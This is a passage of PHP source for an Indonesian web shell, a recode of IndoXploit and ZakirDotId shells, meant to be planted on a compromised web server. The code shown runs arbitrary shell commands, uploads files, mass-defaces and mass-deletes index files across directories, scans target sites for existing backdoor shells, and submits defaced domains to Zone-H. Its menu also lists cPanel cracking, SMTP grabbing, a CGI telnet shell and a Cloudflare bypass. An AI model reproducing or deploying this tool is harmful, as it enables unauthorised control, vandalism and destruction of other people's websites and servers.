  277. // Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
  278. // Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
  279. // Tanpa kalian kita tidak akan BESAR seperti sekarang.
  280. // Greetz: All Member IndoXploit. & all my friends.
  281. ###############################################################################
  282. function w($dir,$perm) {
  283.     if(!is_writable($dir)) {
  284.         return "<font color=red>".$perm."</font>";
  285.     } else {
  286.         return "<font color=lime>".$perm."</font>";
  287.     }
  288. }
  289. function r($dir,$perm) {
  290.     if(!is_readable($dir)) {
  291.         return "<font color=red>".$perm."</font>";
  292.     } else {
  293.         return "<font color=lime>".$perm."</font>";
  294.     }
  295. }
  296. function exe($cmd) {
  297.     if(function_exists('system')) {        
  298.         @ob_start();       
  299.         @system($cmd);     
  300.         $buff = @ob_get_contents();        
  301.         @ob_end_clean();       
  302.         return $buff;  
  303.     } elseif(function_exists('exec')) {        
  304.         @exec($cmd,$results);      
  305.         $buff = "";        
  306.         foreach($results as $result) {         
  307.             $buff .= $result;      
  308.         } return $buff;    
  309.     } elseif(function_exists('passthru')) {        
  310.         @ob_start();       
  311.         @passthru($cmd);       
  312.         $buff = @ob_get_contents();        
  313.         @ob_end_clean();       
  314.         return $buff;  
  315.     } elseif(function_exists('shell_exec')) {      
  316.         $buff = @shell_exec($cmd);     
  317.         return $buff;  
  318.     }
  319. }
  320. function perms($file){
  321.     $perms = fileperms($file);
  322.     if (($perms & 0xC000) == 0xC000) {
  323.     // Socket
  324.     $info = 's';
  325.     } elseif (($perms & 0xA000) == 0xA000) {
  326.     // Symbolic Link
  327.     $info = 'l';
  328.     } elseif (($perms & 0x8000) == 0x8000) {
  329.     // Regular
  330.     $info = '-';
  331.     } elseif (($perms & 0x6000) == 0x6000) {
  332.     // Block special
  333.     $info = 'b';
  334.     } elseif (($perms & 0x4000) == 0x4000) {
  335.     // Directory
  336.     $info = 'd';
  337.     } elseif (($perms & 0x2000) == 0x2000) {
  338.     // Character special
  339.     $info = 'c';
  340.     } elseif (($perms & 0x1000) == 0x1000) {
  341.     // FIFO pipe
  342.     $info = 'p';
  343.     } else {
  344.     // Unknown
  345.     $info = 'u';
  346.     }
  347.         // Owner
  348.     $info .= (($perms & 0x0100) ? 'r' : '-');
  349.     $info .= (($perms & 0x0080) ? 'w' : '-');
  350.     $info .= (($perms & 0x0040) ?
  351.     (($perms & 0x0800) ? 's' : 'x' ) :
  352.     (($perms & 0x0800) ? 'S' : '-'));
  353.     // Group
  354.     $info .= (($perms & 0x0020) ? 'r' : '-');
  355.     $info .= (($perms & 0x0010) ? 'w' : '-');
  356.     $info .= (($perms & 0x0008) ?
  357.     (($perms & 0x0400) ? 's' : 'x' ) :
  358.     (($perms & 0x0400) ? 'S' : '-'));
  359.     // World
  360.     $info .= (($perms & 0x0004) ? 'r' : '-');
  361.     $info .= (($perms & 0x0002) ? 'w' : '-');
  362.     $info .= (($perms & 0x0001) ?
  363.     (($perms & 0x0200) ? 't' : 'x' ) :
  364.     (($perms & 0x0200) ? 'T' : '-'));
  365.     return $info;
  366. }
  367. function hdd($s) {
  368.     if($s >= 1073741824)
  369.     return sprintf('%1.2f',$s / 1073741824 ).' GB';
  370.     elseif($s >= 1048576)
  371.     return sprintf('%1.2f',$s / 1048576 ) .' MB';
  372.     elseif($s >= 1024)
  373.     return sprintf('%1.2f',$s / 1024 ) .' KB';
  374.     else
  375.     return $s .' B';
  376. }
  377. function ambilKata($param, $kata1, $kata2){
  378.     if(strpos($param, $kata1) === FALSE) return FALSE;
  379.     if(strpos($param, $kata2) === FALSE) return FALSE;
  380.     $start = strpos($param, $kata1) + strlen($kata1);
  381.     $end = strpos($param, $kata2, $start);
  382.     $return = substr($param, $start, $end - $start);
  383.     return $return;
  384. }
  385. function getsource($url) {
  386.     $curl = curl_init($url);
  387.             curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  388.             curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  389.             curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  390.             curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  391.     $content = curl_exec($curl);
  392.             curl_close($curl);
  393.     return $content;
  394. }
  395. function bing($dork) {
  396.     $npage = 1;
  397.     $npages = 30000;
  398.     $allLinks = array();
  399.     $lll = array();
  400.     while($npage <= $npages) {
  401.         $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  402.         if($x) {
  403.             preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  404.             foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  405.             $npage = $npage + 10;
  406.             if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  407.         } else break;
  408.     }
  409.     $URLs = array();
  410.     foreach($allLinks as $url){
  411.         $exp = explode("/", $url);
  412.         $URLs[] = $exp[2];
  413.     }
  414.     $array = array_filter($URLs);
  415.     $array = array_unique($array);
  416.     $sss = count(array_unique($array));
  417.     foreach($array as $domain) {
  418.         echo $domain."\n";
  419.     }
  420. }
  421. function reverse($url) {
  422.     $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  423.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  424.           curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  425.           curl_setopt($ch, CURLOPT_HEADER, 0);
  426.           curl_setopt($ch, CURLOPT_POST, 1);
  427.     $resp = curl_exec($ch);
  428.     $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  429.     $array = explode(",,", $resp);
  430.     unset($array[0]);
  431.     foreach($array as $lnk) {
  432.         $lnk = "http://$lnk";
  433.         $lnk = str_replace(",", "", $lnk);
  434.         echo $lnk."\n";
  435.         ob_flush();
  436.         flush();
  437.     }
  438.         curl_close($ch);
  439. }
  440. if(get_magic_quotes_gpc()) {
  441.     function idx_ss($array) {
  442.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  443.     }
  444.     $_POST = idx_ss($_POST);
  445.     $_COOKIE = idx_ss($_COOKIE);
  446. }
  447.  
  448. if(isset($_GET['dir'])) {
  449.     $dir = $_GET['dir'];
  450.     chdir($dir);
  451. } else {
  452.     $dir = getcwd();
  453. }
  454. $kernel = php_uname();
  455. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  456. $dir = str_replace("\\","/",$dir);
  457. $scdir = explode("/", $dir);
  458. $freespace = hdd(disk_free_space("/"));
  459. $total = hdd(disk_total_space("/"));
  460. $used = $total - $freespace;
  461. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=white>ON</font>" : "<font color=white>OFF</font>";
  462. $ds = @ini_get("disable_functions");
  463. $mysql = (function_exists('mysql_connect')) ? "<font color=white>ON</font>" : "<font color=white>OFF</font>";
  464. $curl = (function_exists('curl_version')) ? "<font color=white>ON</font>" : "<font color=white>OFF</font>";
  465. $wget = (exe('wget --help')) ? "<font color=white>ON</font>" : "<font color=white>OFF</font>";
  466. $perl = (exe('perl --help')) ? "<font color=white>ON</font>" : "<font color=white>OFF</font>";
  467. $python = (exe('python --help')) ? "<font color=white>ON</font>" : "<font color=white>OFF</font>";
  468. $show_ds = (!empty($ds)) ? "<font color=white>$ds</font>" : "<font color=white>NONE</font>";
  469. if(!function_exists('posix_getegid')) {
  470.     $user = @get_current_user();
  471.     $uid = @getmyuid();
  472.     $gid = @getmygid();
  473.     $group = "?";
  474. } else {
  475.     $uid = @posix_getpwuid(posix_geteuid());
  476.     $gid = @posix_getgrgid(posix_getegid());
  477.     $user = $uid['name'];
  478.     $uid = $uid['uid'];
  479.     $group = $gid['name'];
  480.     $gid = $gid['gid'];
  481. }
  482. echo "<td>System: <font color=white>".$kernel."</font><br>";
  483. echo "User: <font color=white>".$user."</font> (".$uid.") Group: <font color=white>".$group."</font> (".$gid.")<br>";
  484. echo "Server IP: <font color=white>".$ip."</font> | Your IP: <font color=white>".$_SERVER['REMOTE_ADDR']."</font><br>";
  485. echo "HDD: <font color=white>$used</font> / <font color=white>$total</font> ( Free: <font color=white>$freespace</font> )<br>";
  486. echo "Safe Mode: $sm<br>";
  487. echo "Disable Functions: $show_ds<br>";
  488. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br></td><td></td><td></td><br>";
  489. echo "Current DIR: ";
  490. echo "</table>";
  491. foreach($scdir as $c_dir => $cdir) {   
  492.     echo "<a href='?dir=";
  493.     for($i = 0; $i <= $c_dir; $i++) {
  494.         echo $scdir[$i];
  495.         if($i != $c_dir) {
  496.         echo "/";
  497.         }
  498.     }
  499.     echo "'>$cdir</a>/";
  500. }
  501. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
  502. echo "<hr>";
  503. echo "<center>";
  504. echo "<ul>";
  505. echo "<li>[ <a href='?'>Home</a> ]</li>";
  506. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  507. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  508. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  509. echo "<li>[ <a href='?dir=$dir&do=mass_delete'>Mass Delete</a> ]</li>";
  510. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  511. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  512. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  513. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  514. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  515. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li>";
  516. echo "<li>[ <a href='?dir=$dir&do=network'>network</a> ]</li>";
  517. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li><br>";
  518. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  519. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  520. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  521. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  522. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  523. echo "<li>[ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> ]</li>";
  524. echo "<li>[ <a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a> ]</li>";
  525. echo "<li>[ <a href='?dir=$dir&do=string'>Script Endcode</a> ]</li><br>";
  526. echo "<li>[ <a href='?dir=$dir&do=code'>Inj3c7 C0de</a> ]</li>";
  527. echo "<li>[ <a href='?dir=$dir&do=pou'>Bypass Cloud Flare</a> ]</li>";
  528. echo "<li>[ <a href='?dir=$dir&do=info'>Info Server</a> ]</li>";
  529. echo "<li>[ <a href='?dir=$dir&do=hash'>Hash Generate</a> ]</li>";
  530. echo "<li>[ <a href='?dir=$dir&do=hashid'>Hash ID</a> ]</li>";
  531. echo "<li>[ <a href='?dir=$dir&do=base-coc'>Tools SQL</a> ]</li>";
  532. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a>] </li>  ";
  533. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  534. echo "<li>[ <a href='?dir=$dir&do=tentang'>About Me</a> ]</li>";
  535. echo "<li>[ <a style='color: red;' href='?logout=true'>Logout</a> ]</li>";
  536. echo "</ul>";
  537. echo "</center>";
  538. echo "<hr>";
  539. if($_GET['logout'] == true) {
  540.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  541.     echo "<script>window.location='?';</script>";
  542. }
  543.  
  544.  elseif($_GET['do'] == 'shelscan') {
  545.     echo'<center><h2>Shell Finder</h2>
  546. <form action="" method="post">
  547. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  548. <br>
  549. <input name="scan" value="Start Scaning"  style="width: 215px;" type="submit">
  550. </form><br>';
  551. if (isset($_POST["scan"])) {  
  552. $url = $_POST['traget'];
  553. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  554. echo "Result :<br />";
  555. $shells = array("tus.php","idcx.php","zakir.php","WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  556. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  557. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  558. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  559. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  560. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  561. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  562. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  563. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  564. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  565. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  566. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  567. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  568. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  569. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  570. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  571. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  572. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  573. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  574. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  575. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  576. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  577. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  578. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  579. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  580. foreach ($shells as $shell){
  581. $headers = get_headers("$url$shell"); //
  582. if (eregi('200', $headers[0])) {
  583. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  584. $dz = fopen('shells.txt', 'a+');
  585. $suck = "$url$shell";
  586. fwrite($dz, $suck."\n");
  587. }
  588. }
  589. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  590. }
  591. }
  592. elseif($_GET['do'] == 'tentang') {
  593.     echo "<Center><br><font size='5'>Special Thanks To :</font></b></center><marquee behavior='scroll'><center><b><font>[99Syndicate Cyber Team] ~<font> [And all member 99Syndicate Cyber Team] ~<font c> [EXI2T Cyber Team] ~[Xai Syndicate]~<font>[Frozen Tersakiti Team]~<font>[Family Attack Cyber]~<font>[./IM_Silent]~</font>[Mr. Xio_Cyber]~[Tolle]~[NSX404]~[./Mr_Fyslexia]~[Mr.CrAcKpOt_Id27]~[./Mr.Al Frezy]</b> </marquee></h2>
  594. <center>
  595. <h3><p>Shell Ini Merupakan Karya Saya Sendiri Dari Recode Beberapa Shell </p><br>
  596. Shell Yang Saya Recode Adalah :<br>Indonesia Cyber Ex<br>IndoXploit-Poison<br>ZakirDotId</center>
  597. <br><br>
  598. <center>
  599. <hr>
  600. <font face='Iceland' size='5' class='a'><b>Shell Ini Bebas Di Recode Tp Jangan Lupa Sertakan Author Untuk Menghargai!!<b></font>";
  601. }
  602. elseif($_GET['do'] == 'zoneh') {
  603.     if($_POST['submit']) {
  604.         $domain = explode("\r\n", $_POST['url']);
  605.         $nick =  $_POST['nick'];
  606.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  607.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  608.         function zoneh($url,$nick) {
  609.             $ch = curl_init("http://www.zone-h.com/notify/single");
  610.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  611.                   curl_setopt($ch, CURLOPT_POST, true);
  612.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  613.             return curl_exec($ch);
  614.                   curl_close($ch);
  615.         }
  616.         foreach($domain as $url) {
  617.             $zoneh = zoneh($url,$nick);
  618.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  619.                 echo "$url -> <font color=lime>OK</font><br>";
  620.             } else {
  621.                 echo "$url -> <font color=red>ERROR</font><br>";
  622.             }
  623.         }
  624.     } else {
  625.         echo "<center><h2>Zone-H</h2></center><center><form method='post'>
  626.         <u>Defacer</u>: <br>
  627.         <input type='text' name='nick' size='50' value='Zakir Dot ID'><br>
  628.         <u>Domains</u>: <br>
  629.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  630.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  631.         </form>";
  632.     }
  633.     echo "</center>";
  634. }elseif($_GET['do'] == 'upload') {
  635.     echo "<center>";
  636.     if($_POST['upload']) {
  637.         if($_POST['tipe_upload'] == 'biasa') {
  638.             if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  639.                 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  640.             } else {
  641.                 $act = "<font color=red>failed to upload file</font>";
  642.             }
  643.         } else {
  644.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  645.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  646.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  647.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  648.                     $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  649.                 } else {
  650.                     $act = "<font color=red>failed to upload file</font>";
  651.                 }
  652.             } else {
  653.                 $act = "<font color=red>failed to upload file</font>";
  654.             }
  655.         }
  656.     }
  657.     echo "Upload File:
  658.     <form method='post' enctype='multipart/form-data'>
  659.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  660.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  661.     <input type='file' name='ix_file'>
  662.     <input type='submit' value='upload' name='upload'>
  663.     </form>";
  664.     echo $act;
  665.     echo "</center>";
  666. } elseif($_GET['do'] == 'cmd') {
  667.     echo "<form method='post'>
  668.     <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  669.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  670.     </form>";
  671.     if($_POST['do_cmd']) {
  672.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  673.     }
  674. } elseif($_GET['do'] == 'mass_deface') {
  675.     function sabun_massal($dir,$namafile,$isi_script) {
  676.         if(is_writable($dir)) {
  677.             $dira = scandir($dir);
  678.             foreach($dira as $dirb) {
  679.                 $dirc = "$dir/$dirb";
  680.                 $lokasi = $dirc.'/'.$namafile;
  681.                 if($dirb === '.') {
  682.                     file_put_contents($lokasi, $isi_script);
  683.                 } elseif($dirb === '..') {
  684.                     file_put_contents($lokasi, $isi_script);
  685.                 } else {
  686.                     if(is_dir($dirc)) {
  687.                         if(is_writable($dirc)) {
  688.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  689.                             file_put_contents($lokasi, $isi_script);
  690.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  691.                         }
  692.                     }
  693.                 }
  694.             }
  695.         }
  696.     }
  697.     function sabun_biasa($dir,$namafile,$isi_script) {
  698.         if(is_writable($dir)) {
  699.             $dira = scandir($dir);
  700.             foreach($dira as $dirb) {
  701.                 $dirc = "$dir/$dirb";
  702.                 $lokasi = $dirc.'/'.$namafile;
  703.                 if($dirb === '.') {
  704.                     file_put_contents($lokasi, $isi_script);
  705.                 } elseif($dirb === '..') {
  706.                     file_put_contents($lokasi, $isi_script);
  707.                 } else {
  708.                     if(is_dir($dirc)) {
  709.                         if(is_writable($dirc)) {
  710.                             echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  711.                             file_put_contents($lokasi, $isi_script);
  712.                         }
  713.                     }
  714.                 }
  715.             }
  716.         }
  717.     }
  718.     if($_POST['start']) {
  719.         if($_POST['tipe_sabun'] == 'mahal') {
  720.             echo "<div style='margin: 5px auto; padding: 5px'>";
  721.             sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  722.             echo "</div>";
  723.         } elseif($_POST['tipe_sabun'] == 'murah') {
  724.             echo "<div style='margin: 5px auto; padding: 5px'>";
  725.             sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  726.             echo "</div>";
  727.         }
  728.     } else {
  729.     echo "<center>";
  730.     echo "<form method='post'>
  731.     <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  732.     <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  733.     <font style='text-decoration: underline;'>Folder:</font><br>
  734.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  735.     <font style='text-decoration: underline;'>Filename:</font><br>
  736.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  737.     <font style='text-decoration: underline;'>Index File:</font><br>
  738.     <textarea name='script' style='width: 450px; height: 200px;'>Hacked by 99Syndicate</textarea><br>
  739.     <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  740.     </form></center>";
  741.     }
  742. } elseif($_GET['do'] == 'mass_delete') {
  743.     function hapus_massal($dir,$namafile) {
  744.         if(is_writable($dir)) {
  745.             $dira = scandir($dir);
  746.             foreach($dira as $dirb) {
  747.                 $dirc = "$dir/$dirb";
  748.                 $lokasi = $dirc.'/'.$namafile;
  749.                 if($dirb === '.') {
  750.                     if(file_exists("$dir/$namafile")) {
  751.                         unlink("$dir/$namafile");
  752.                     }
  753.                 } elseif($dirb === '..') {
  754.                     if(file_exists("".dirname($dir)."/$namafile")) {
  755.                         unlink("".dirname($dir)."/$namafile");
  756.                     }
  757.                 } else {
  758.                     if(is_dir($dirc)) {
  759.                         if(is_writable($dirc)) {
  760.                             if(file_exists($lokasi)) {
  761.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  762.                                 unlink($lokasi);
  763.                                 $idx = hapus_massal($dirc,$namafile);
  764.                             }
  765.                         }
  766.                     }
  767.                 }
  768.             }
  769.         }
  770.     }
  771.     if($_POST['start']) {
  772.         echo "<div style='margin: 5px auto; padding: 5px'>";
  773.         hapus_massal($_POST['d_dir'], $_POST['d_file']);
  774.         echo "</div>";
  775.     } else {
  776.     echo "<center>";
  777.     echo "<form method='post'>
  778.     <font style='text-decoration: underline;'>Folder:</font><br>
  779.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  780.     <font style='text-decoration: underline;'>Filename:</font><br>
  781.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  782.     <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  783.     </form></center>";
  784.     }
  785. }
  786. elseif($_GET['do'] == 'zip') {
  787.     echo "<h1>Zip Menu</h1>";
  788. function rmdir_recursive($dir) {
  789.     foreach(scandir($dir) as $file) {
  790.        if ('.' === $file || '..' === $file) continue;
  791.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  792.        else unlink("$dir/$file");
  793.    }
  794.    rmdir($dir);
  795. }
  796. if($_FILES["zip_file"]["name"]) {
  797.     $filename = $_FILES["zip_file"]["name"];
  798.     $source = $_FILES["zip_file"]["tmp_name"];
  799.     $type = $_FILES["zip_file"]["type"];
  800.     $name = explode(".", $filename);
  801.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  802.     foreach($accepted_types as $mime_type) {
  803.         if($mime_type == $type) {
  804.             $okay = true;
  805.             break;
  806.         }
  807.     }
  808.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  809.     if(!$continue) {
  810.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  811.     }
  812.   $path = dirname(__FILE__).'/';
  813.   $filenoext = basename ($filename, '.zip');
  814.   $filenoext = basename ($filenoext, '.ZIP');
  815.   $targetdir = $path . $filenoext;
  816.   $targetzip = $path . $filename;
  817.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  818.   mkdir($targetdir, 0777);
  819.     if(move_uploaded_file($source, $targetzip)) {
  820.         $zip = new ZipArchive();
  821.         $x = $zip->open($targetzip);
  822.         if ($x === true) {
  823.             $zip->extractTo($targetdir);
  824.             $zip->close();
  825.  
  826.             unlink($targetzip);
  827.         }
  828.         $message = "<b>Sukses Gan :)</b>";
  829.     } else {   
  830.         $message = "<b>Error Gan :(</b>";
  831.     }
  832. }  
  833. echo '<table style="width:100%" border="1">
  834.  <tr><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  835. <label>Zip File : <input type="file" name="zip_file" /></label>
  836. <input type="submit" name="submit" value="Upload And Unzip" />
  837. </form>';
  838. if($message) echo "<p>$message</p>";
  839. echo "</tr><hr><tr><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/zakir_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  840.     if($_POST['backup']){
  841.     $save=$_POST['save'];
  842.     function Zip($source, $destination)
  843. {
  844.     if (extension_loaded('zip') === true)
  845.     {
  846.         if (file_exists($source) === true)
  847.         {
  848.             $zip = new ZipArchive();
  849.  
  850.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  851.             {
  852.                 $source = realpath($source);
  853.  
  854.                 if (is_dir($source) === true)
  855.                 {
  856.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  857.  
  858.                     foreach ($files as $file)
  859.                     {
  860.                         $file = realpath($file);
  861.  
  862.                         if (is_dir($file) === true)
  863.                         {
  864.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  865.                         }
  866.  
  867.                         else if (is_file($file) === true)
  868.                         {
  869.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  870.                         }
  871.                     }
  872.                 }
  873.  
  874.                 else if (is_file($source) === true)
  875.                 {
  876.                     $zip->addFromString(basename($source), file_get_contents($source));
  877.                 }
  878.             }
  879.  
  880.             return $zip->close();
  881.         }
  882.     }
  883.  
  884.     return false;
  885. }
  886.     Zip($_POST['dir'],$save);
  887.     echo "Done , Save To <b>$save</b>";
  888.     }
  889.     echo "</tr><hr><tr><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/Zak_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  890.     if($_POST['extrak']){
  891.     $save=$_POST['save'];
